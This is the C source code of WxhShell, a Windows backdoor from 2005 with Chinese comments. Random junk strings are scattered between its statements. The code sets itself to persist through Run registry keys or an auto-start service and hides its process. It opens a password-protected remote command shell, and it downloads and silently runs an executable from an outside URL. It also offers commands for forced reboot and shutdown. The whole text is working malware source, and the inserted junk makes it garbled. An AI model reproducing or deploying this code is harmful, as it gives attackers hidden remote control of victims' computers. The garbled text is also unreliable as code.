g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Q8tL[>Xt NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); I]t!xA~ qr^3R&z!} if (!NtQueryInformationProcess) return 0; I_#kgp &{hL&BLr hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); {lDd.Fn if(!hProcess) return 0; =o(5_S.u; %(#y5yJ ] if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; bo>*fNqAIy ek\ xx CloseHandle(hProcess); u%KTNa0 ~H_/zK6e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #Y`~(K47 if(hProcess==NULL) return 0; 7IH@oMvE ~
'cmSiz- HMODULE hMod; 7kLz[N6Ll char procName[255]; k,6f
unsigned long cbNeeded; G6P?2@ IqHV)A if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #U4F0BdA YUD`!C CloseHandle(hProcess); LgU_LcoM* hbDXo: if(strstr(procName,"services")) return 1; // 以服务启动 #4%]o%. %D34/=(X return 0; // 注册表启动 _ QI\ } HYZ5EV &j`} vg // 主模块 +F` S>U int StartWxhshell(LPSTR lpCmdLine) =l;ewlU { . B9iLI SOCKET wsl; W~;`WR;. BOOL val=TRUE; \)N9aV int port=0; ) 1f~ dR88 struct sockaddr_in door; J.b9F:&} `Bp.RXsd* if(wscfg.ws_autoins) Install(); ,/%=sux Su7?;Oh/yI port=atoi(lpCmdLine); ~O0 $Suv
hoUD;3 if(port<=0) port=wscfg.ws_port; HY*Kb+[ g"DG]/ev WSADATA data; H>IMf/%5N- if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oy=js - c
/HHy, if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 61>.vT8P setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5h-SCB>P door.sin_family = AF_INET; R6 .hA_ih door.sin_addr.s_addr = inet_addr("127.0.0.1"); [)M%cyQ door.sin_port = htons(port); 85:=4N% f!uw zHA`? if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m)t;9J5 closesocket(wsl); :Zbg9`d* return 1; m@2QnA[4 } <I\/n<* ^A$Zw+P if(listen(wsl,2) == INVALID_SOCKET) { 6:[dj*KGmT closesocket(wsl); ]Idk:et return 1; 5y[Oj^ } uM IIYS Wxhshell(wsl); JN-y)L/> WSACleanup(); HZC"nb}r4 v!6
c0a return 0; v\gLWq' 8B
K(4?gC } $oID(P u<tbbKM // 以NT服务方式启动 kW Ml VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :Uzm
{ (l~AV9!m: DWORD status = 0; /tx]5`#@7] DWORD specificError = 0xfffffff; XFHYQ2ME2 J s@hLP` serviceStatus.dwServiceType = SERVICE_WIN32; mP~QWx![N serviceStatus.dwCurrentState = SERVICE_START_PENDING; OUPUixz2Z serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "Y
=;.:qe serviceStatus.dwWin32ExitCode = 0; 2/\r)$
2i serviceStatus.dwServiceSpecificExitCode = 0; X8a/ `Y, serviceStatus.dwCheckPoint = 0; BQE|8g'&T serviceStatus.dwWaitHint = 0; 45@ I *` )
<[XtK hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); VGy<")8D/ if (hServiceStatusHandle==0) return; Ha0M)0Anv dC3o9 status = GetLastError(); ["k,QX if (status!=NO_ERROR) ,F8 Yn5h { / |;RV" serviceStatus.dwCurrentState = SERVICE_STOPPED; b7?uq9 serviceStatus.dwCheckPoint = 0; >reU#j serviceStatus.dwWaitHint = 0; :1.L}4"gg serviceStatus.dwWin32ExitCode = status; qdJ=lhHM} serviceStatus.dwServiceSpecificExitCode = specificError; B:yGS*.tu SetServiceStatus(hServiceStatusHandle, &serviceStatus); In"ZIKaC return; W fN2bsx> } b5dD/-Vj <SAzxo:I serviceStatus.dwCurrentState = SERVICE_RUNNING; njB;&N)I serviceStatus.dwCheckPoint = 0; ed{ -/l~j serviceStatus.dwWaitHint = 0; c(f if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &v/dj@ } x*\Y)9Vgy >^?u
.gM3 // 处理NT服务事件,比如:启动、停止
,h m\
VOID WINAPI NTServiceHandler(DWORD fdwControl) PFlNo` iO { Fh&G;aEq switch(fdwControl) !OhC/f(GBZ { d`=MgHz case SERVICE_CONTROL_STOP: j;+b0(53 serviceStatus.dwWin32ExitCode = 0; @|Cz-J;D serviceStatus.dwCurrentState = SERVICE_STOPPED; h9&0Z+zs serviceStatus.dwCheckPoint = 0; +/4A serviceStatus.dwWaitHint = 0; 13$%,q) { e }?db SetServiceStatus(hServiceStatusHandle, &serviceStatus); &.)^
%Tp\z } a_^\=&?' return; Q",t3i4 case SERVICE_CONTROL_PAUSE: Gt8M&S-; serviceStatus.dwCurrentState = SERVICE_PAUSED; RtkEGxw*^ break; D#9m\o_ case SERVICE_CONTROL_CONTINUE: /Iu1L# serviceStatus.dwCurrentState = SERVICE_RUNNING; ihhDO mUto break; q<x/Hat) case SERVICE_CONTROL_INTERROGATE: ^
glri$m break; Pf")e,u$ }; [t m_Mg SetServiceStatus(hServiceStatusHandle, &serviceStatus); !,_u)4 } f <Zxz9 yM6pd U]i // 标准应用程序主函数 <VMGTBVQ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9d0@wq. { D%[mWc@1I p#ZCvPE;uH // 获取操作系统版本 //up5R_nx OsIsNt=GetOsVer(); W 8<&gh+ GetModuleFileName(NULL,ExeFile,MAX_PATH); o*+"| rK8lBy:< // 从命令行安装 CImWd.W9~ if(strpbrk(lpCmdLine,"iI")) Install(); W<h)HhyG np|Sy;: // 下载执行文件 +qN>.y!Y if(wscfg.ws_downexe) { ydEoC$?0 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )rIwqUgp6\ WinExec(wscfg.ws_filenam,SW_HIDE); sU<Wnz\[ } d(ZO6Nr Q %:f&.@'r if(!OsIsNt) { (q/e1L-S // 如果时win9x,隐藏进程并且设置为注册表启动 i'<[DjMDlm HideProc(); ( ' (K9@} StartWxhshell(lpCmdLine); RT4x\&q } B&M%I:i else `GBW%X/ if(StartFromService()) RXMISt3+{y // 以服务方式启动 tH@Erh|% StartServiceCtrlDispatcher(DispatchTable); YR\fa Vk else c1(RuP:S // 普通方式启动 o+iiSTJEe StartWxhshell(lpCmdLine); kM l+yli3c %@J.{@> return 0; AG
nxYV"p } JJ-( Sl P-_6wfg,;> b<[Or^X
] F} yW/ =========================================== dw>C@c#" $?iLLA~ GRIti9GD T3.&R#1M8- {_"<1C IxN9&xa " ;3coP{ wD}l$& + #include <stdio.h> bn&TF3b #include <string.h> .bl/*s #include <windows.h> w>&aEv/f #include <winsock2.h> RZ?jJm$ #include <winsvc.h> G^|:N[>B #include <urlmon.h> CT<7mi! VR 8-&N #pragma comment (lib, "Ws2_32.lib") r| wS<cA2 #pragma comment (lib, "urlmon.lib") <]t%8GB2V A0s ZOCky #define MAX_USER 100 // 最大客户端连接数 @Sn(lnlB #define BUF_SOCK 200 // sock buffer A1$TXr #define KEY_BUFF 255 // 输入 buffer ./Zk`-OBT l~q\3UKlt #define REBOOT 0 // 重启 T@B/xAq5! #define SHUTDOWN 1 // 关机 ,.8KN<A2]' :uS\3toj #define DEF_PORT 5000 // 监听端口 ;%9 |kU Ms#M+[a #define REG_LEN 16 // 注册表键长度 rl;~pO5R9 #define SVC_LEN 80 // NT服务名长度 VQt0 4? A2Ed0|B y // 从dll定义API {*" |#6- typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); M#6W(|V/ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &-6Gc;f8 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `wEb<H
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Np9<:GF1 cd_yzpL@}J // wxhshell配置信息 )F>#*P struct WSCFG { `5.'_3 int ws_port; // 监听端口 Z]Cq3~l char ws_passstr[REG_LEN]; // 口令 {$
JYw{a int ws_autoins; // 安装标记, 1=yes 0=no 3z?> j] char ws_regname[REG_LEN]; // 注册表键名 u'DRN,h+ char ws_svcname[REG_LEN]; // 服务名 %/.b~|,- char ws_svcdisp[SVC_LEN]; // 服务显示名 lvz7#f L~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 wKxtre(v char ws_passmsg[SVC_LEN]; // 密码输入提示信息 i$G@R% int ws_downexe; // 下载执行标记, 1=yes 0=no E6ElNgL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" *vxk@`K~ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (m/G(wg Qn.om=KDs@ }; >*_$]E
?P`K7 // default Wxhshell configuration 266h\2t6 struct WSCFG wscfg={DEF_PORT, 0R'?~`aTt "xuhuanlingzhe", +gtbcF@rx 1, Id .nu/ "Wxhshell", v%z=ysA "Wxhshell", )23H1 "WxhShell Service", .}TZxla0Zr "Wrsky Windows CmdShell Service", BLiF
5 "Please Input Your Password: ", f+,qNvBY/ 1, DU/] "http://www.wrsky.com/wxhshell.exe", m@v\(rT. "Wxhshell.exe" N
+_t-5 }; &.Qrs:U !ons]^km // 消息定义模块 |FZ/[9* char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @,7GaK\ char *msg_ws_prompt="\n\r? for help\n\r#>"; G@X% +$I char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; F_{Yo?_ char *msg_ws_ext="\n\rExit."; R"t,xM char *msg_ws_end="\n\rQuit."; ~-Qw.EdC char *msg_ws_boot="\n\rReboot..."; ,m|h<faZL char *msg_ws_poff="\n\rShutdown..."; {Gk1vcq char *msg_ws_down="\n\rSave to "; }!.(n=idZ /{n-Y/jp char *msg_ws_err="\n\rErr!"; O;jrCB char *msg_ws_ok="\n\rOK!"; q{LF>Wi LCKV>3+_# char ExeFile[MAX_PATH]; sBg.u int nUser = 0; p%=u#QNi HANDLE handles[MAX_USER]; _8UU'1d int OsIsNt; .|fHy =>v#4zFd SERVICE_STATUS serviceStatus; H40p86@M SERVICE_STATUS_HANDLE hServiceStatusHandle; 6 V=9M: 3;{kJQ // 函数声明 flbd0NB int Install(void); ~HsJUro int Uninstall(void); >SHhAEF int DownloadFile(char *sURL, SOCKET wsh); 3bH'H*2 int Boot(int flag); qfm|@v|De5 void HideProc(void); ?NsW|w_ int GetOsVer(void); X5$ Iyis int Wxhshell(SOCKET wsl); ;dgp+ void TalkWithClient(void *cs); @K!T,U int CmdShell(SOCKET sock); jm/`iXnMf int StartFromService(void); bK&+5t& int StartWxhshell(LPSTR lpCmdLine); K is"L(C i<Zc"v; VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "@0]G<H
VOID WINAPI NTServiceHandler( DWORD fdwControl ); S_UIO.K t-bB>q#3> // 数据结构和表定义 )Y{L&A SERVICE_TABLE_ENTRY DispatchTable[] = ;85>xHK { lq;Pch {wscfg.ws_svcname, NTServiceMain}, Hf2_0wA3 {NULL, NULL} BUXpCxQ }; >_ T-u<E )1`0PJoHE // 自我安装 tl^9WG int Install(void) `Eo.v#< { w%jII{@, char svExeFile[MAX_PATH]; ,R*
]>' HKEY key; I:1C8*/ strcpy(svExeFile,ExeFile); VTY 5]|; !wh8'X* // 如果是win9x系统,修改注册表设为自启动 'e'cb>GnA if(!OsIsNt) { ope^~+c~\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { srrgvG, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0)Wltw~`& RegCloseKey(key); =$JET<( if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $}<e|3_ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
_
*Pf RegCloseKey(key); 5MJS
~( return 0; &Hs!:43E-< } $suzW;{# } wgGl[_) } )R1<N else { DT&@^$? U26}gT) // 如果是NT以上系统,安装为系统服务 Fd9[pU SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @?]RBX?a if (schSCManager!=0) gT6jYQ { #5o(h+w) SC_HANDLE schService = CreateService hf&9uHN%7m ( 'YSHi\z ]( schSCManager, ri-b=|h2j wscfg.ws_svcname, YNsJZnGr8# wscfg.ws_svcdisp, T</F
0su| SERVICE_ALL_ACCESS, 8&b,qQ~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ds[| SERVICE_AUTO_START, OYn}5RN SERVICE_ERROR_NORMAL, ,.FxIl] svExeFile, }b.%Im<3R NULL, z*%q@]ym NULL, s`~IUNJ@P NULL, u;2[AQ. NULL, aO4?m+ NULL _E.>`Q ); ~oY^;/ j if (schService!=0) ?m"( Soh { &&>ekG9@ CloseServiceHandle(schService); v):Or'$~M CloseServiceHandle(schSCManager); NqWdRU strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ln
dx"prW strcat(svExeFile,wscfg.ws_svcname); t;\Y{` if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <h *4Q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gc$l^`+M RegCloseKey(key); Q hO!Ma] return 0; HLG"a3tt } A6(/;+n } .,6-u CloseServiceHandle(schSCManager); hkQ"OsU } 6(ol1
(U } E hMNap}5" A2Gevj?F$ return 1; [` 7ThHX } f._ua>v,f 1p=]hC // 自我卸载 ?gGHj-HYJ int Uninstall(void) &
>fQp(f { 97!;.f- HKEY key; 8bld3p"^ {_v#~595 if(!OsIsNt) { j&qub_j"xX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZPYS$Ydy RegDeleteValue(key,wscfg.ws_regname); g`QEu
5v RegCloseKey(key); c{w2Gt! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NTs aW}g RegDeleteValue(key,wscfg.ws_regname);
[/8%3 RegCloseKey(key); e$rZ5X return 0; u]UOSf n } I-l_TpM) } kE1TP]| } L.JT[zOfb else { m ~$v;?i CRy|kkT SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); X#^[<5 if (schSCManager!=0) ;9QEK]@ { "fOV^B SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uQKT if (schService!=0) { 2f-8Z&> { [(7S .5I if(DeleteService(schService)!=0) { (TT}6j CloseServiceHandle(schService); 5\VWC I CloseServiceHandle(schSCManager); uW
%# return 0; H0vfUF53l } \:LW(&[! CloseServiceHandle(schService); =[ 7A v> } }i&/G+_ CloseServiceHandle(schSCManager); [j+sC* } (KZ{^X?a } 1 [Bk%G@D& \1M4Dl5! return 1; gL/9/b4 } }W^A*]X Dk5 1z@ // 从指定url下载文件 SiN0OB int DownloadFile(char *sURL, SOCKET wsh) M x"\5i { `r 4fm`< HRESULT hr; aV0"~5 char seps[]= "/"; $U-0)4yf char *token; )J(6xy char *file; ":N9(}9 char myURL[MAX_PATH]; :e+jU5;]3 char myFILE[MAX_PATH]; R[+<^s}p/ -jmY)(\ strcpy(myURL,sURL); +R75v ) token=strtok(myURL,seps); &_8947 while(token!=NULL) {R{=+2K!|k { ~v6D#@%A file=token; w5 Li&m token=strtok(NULL,seps); goWuw}? } ;5( UzQU V>rU.Mp
QU GetCurrentDirectory(MAX_PATH,myFILE); w_V P
J strcat(myFILE, "\\"); Qn2&nD%zi strcat(myFILE, file); ;8 lfOMf send(wsh,myFILE,strlen(myFILE),0); +&H4m=D-#a send(wsh,"...",3,0); ?:9"X$XR hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); kD"{g#c if(hr==S_OK) )0k53-h& return 0; <IW$m!{VG else [()koU#w. return 1; uCB=u[]y4 YuwI&)l } +1!ia] >=w)x,0yX // 系统电源模块 }Ou}+^Bc int Boot(int flag) b|(:[nB { %!#azI HANDLE hToken; KqP#6^ _ TOKEN_PRIVILEGES tkp; iH'p>s5L *qpSXmOz if(OsIsNt) { 1k^oS$UT OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F((4U"
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #T"4RrR tkp.PrivilegeCount = 1; yaX
iE_. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; (**oRwr% AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); b7ZSPXV if(flag==REBOOT) { -D:b*D if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N6TH}~62} return 0; :rP=t , } cidP|ie^ else { >8[Z.fX if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) zKK9r~ M return 0; yIE!j%u } y<.5xq5_3 } 5~S5F3 else { u$`a7Lp,n if(flag==REBOOT) { NX&_p!_V if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Ni7nq8B< return 0; .X;K%J2 } >.D4co> else { #rg6,.I)< if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Qv ?"b return 0; -ze J#B)C } O&hTNIfi } A/?7w
Y|/ 8up return 1; 8l">cVo]T } o,wUc"CE q0\6F^;M // win9x进程隐藏模块 'O-"\J\ void HideProc(void) L4l!96]a { d0 /#nz iam1V)V HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NZz 8j^ if ( hKernel != NULL ) D3K8F@d { W(/h Vt pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "^iYLQOC ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \.}c9*) FreeLibrary(hKernel); uvS)8-o&F } e8b:)"R "J3x_~,[4m return; N4HqLh23H } -|9=P\U8S PmM3]xVzd // 获取操作系统版本 -H-~;EzU int GetOsVer(void) <=C?e<Y { BfiD9ka-z OSVERSIONINFO winfo; <
FAheE+ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); J4U1t2@)9 GetVersionEx(&winfo); wwcBsJ1{ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l}M!8:UzU return 1; mRK>U$v else 5Jnlz@P9 return 0; 6D_D' ;o } \z}
Ic%Tp Y\'}a+:@Ph // 客户端句柄模块 *}W_+qo" int Wxhshell(SOCKET wsl) X#;bh78&- { Yu2Bkq+ SOCKET wsh; [)X\|pO& struct sockaddr_in client; #gw]'&{8D DWORD myID; El"Q'(:/U KJZ4AWH` while(nUser<MAX_USER) ENY+^7 { iO;
7t@]- int nSize=sizeof(client); P=G3:eX wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \Y}8S/] if(wsh==INVALID_SOCKET) return 1; 8, >P @"H>niG handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QkC(uS if(handles[nUser]==0) @7n"yp*" closesocket(wsh); IIx#2r else qJUK_6|3 nUser++; y"wShAR } $ L]lHji WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \dQNLLg/ Nda *L| return 0; r]36zX v } =_u4=4 jRV/A!4 // 关闭 socket }RqK84K void CloseIt(SOCKET wsh) 4+ Z]3oIRE { Yg1X closesocket(wsh); |ZBI * nUser--; tIgN$BHR> ExitThread(0); Y:a]00&)#Y } `PH{syz ?FcAXA/J{ // 客户端请求句柄 Z#\P&\`1z void TalkWithClient(void *cs) PwLZkr@4^ { !C:$?oU U/NoP4~{ SOCKET wsh=(SOCKET)cs; TRq6NB char pwd[SVC_LEN]; R~$qo)v char cmd[KEY_BUFF]; sLQ^F char chr[1]; }`~+]9< int i,j; 0"bcdG<} LFtt gY while (nUser < MAX_USER) { `W*U4?M C~iL3Cb if(wscfg.ws_passstr) { 'Qe;vZ31K if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HC,Se.VYS //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3:i@II //ZeroMemory(pwd,KEY_BUFF); ?(i{y~ i=0; 3/n5#&c\4 while(i<SVC_LEN) { ?.;c$' 9-*uPK]m9 // 设置超时 6,{$J fd_set FdRead; Z?m3~L9L2 struct timeval TimeOut; QMb Ouw FD_ZERO(&FdRead); Q$@I"V&G. FD_SET(wsh,&FdRead); 6V01F8&w TimeOut.tv_sec=8; V6reqEh TimeOut.tv_usec=0; OpYY{f int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9mTJ|sN:e if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y`SvMkP)+ w&T9;_/ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B,epzI pwd=chr[0]; G*P#]eO if(chr[0]==0xd || chr[0]==0xa) { v,>Dbxn pwd=0; ,1o FPa{? break; DN5 7p!z } b}TS0+TF i++; ckE-",G } L0WN\|D rCdu0 gYT // 如果是非法用户,关闭 socket :E )>\& if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RdRp.pb8 } o]I\6,T/| U#WF;q0L send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1NA.nw. send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); q6V>zi mSh[}%swj while(1) { 5uj?#)N A*547=M/(j ZeroMemory(cmd,KEY_BUFF); t=W}SH <1${1A <Wa // 自动支持客户端 telnet标准 pJ'"j 6Q j=0; A@{PZ while(j<KEY_BUFF) { dE{dZ#Jfi if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); )cMh0SGcM1 cmd[j]=chr[0]; =R$u[~Xl2X if(chr[0]==0xa || chr[0]==0xd) { :emiQ cmd[j]=0; o9yJf#-En break; aNspMJ } PmEsN&YP] j++; ra
g Xn } ;RPx^X~ y(yHt=r // 下载文件 eiaFaYe\ if(strstr(cmd,"http://")) { #yF&X(% send(wsh,msg_ws_down,strlen(msg_ws_down),0); 7CURhDdk if(DownloadFile(cmd,wsh)) w;:*P send(wsh,msg_ws_err,strlen(msg_ws_err),0); j[J-f@F \Y else j@3Q;F0ba send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LxSpctiNx } ZI}F om< else { M; tqp8 Ee%%d switch(cmd[0]) { \aUC(K~o\; _FU_Ubkr // 帮助 |a`Sc% case '?': { umH40rX+ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sW'AjI break; Y0dEH^I } BLf>_bUk // 安装 Kaqc74Mv case 'i': { XZ]uUP if(Install()) @&3EJ1 send(wsh,msg_ws_err,strlen(msg_ws_err),0); SaAFz&WRl else ;LPfXpR send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &4x}ppX break; BWv^zi } li'YDtMKCY // 卸载 ?*1uN=oI{* case 'r': { iDz++VNV if(Uninstall()) qJa H, send(wsh,msg_ws_err,strlen(msg_ws_err),0); *-=(Q`3 else Ls$D$/:q? send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l\!fj# break; /hH } I7vz+>Jr // 显示 wxhshell 所在路径 t?-n*9,#S case 'p': { +yH7v5W char svExeFile[MAX_PATH]; fo#fg8zX% strcpy(svExeFile,"\n\r"); bz2ztH9 n strcat(svExeFile,ExeFile); 7cT~oV !G_ send(wsh,svExeFile,strlen(svExeFile),0); L:pYn_ break; [P=Jw:E } p;59? // 重启 k"T}2 7 case 'b': { rq/yD,I, send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); iohop(LZ if(Boot(REBOOT)) 7uS~MW send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5j<mbt} else { \K{0L closesocket(wsh); 'EEJU/"u ExitThread(0); h-#6av: } dGYn4i2k? break; u<6<iD3y } *8yAG]z // 关机 <EB+1GFuI case 'd': { @uqd.Q send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); uGf@ if(Boot(SHUTDOWN)) HZzD VCU send(wsh,msg_ws_err,strlen(msg_ws_err),0); xd q?/^E else { \:# L) closesocket(wsh); uy[At+%zg ExitThread(0); SO|NaqWa } w(*vj break; 7 S#J>* } F#,90F' // 获取shell N
,'GN[s case 's': { @w#-aGJO CmdShell(wsh); xaq-.IQAM$ closesocket(wsh); f}#~-.NGs ExitThread(0); ??-[eB. break; (Y.k8";)` } Ga-k // 退出 IXMop7~ case 'x': { 6@h/*WElG send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Gv!2f CloseIt(wsh); NR5gj-B[ break; 'NXN& { } }WC[$Y_@ // 离开 T6y\| case 'q': { 7{e
4c send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?Ny9'g>? closesocket(wsh); %B2'~|g WSACleanup(); E<{R.r exit(1); <$A break; aD<A.Lhy } e8>}) } VZp5)-!\ } -/wtI /kZebNf6H // 提示信息 `&r |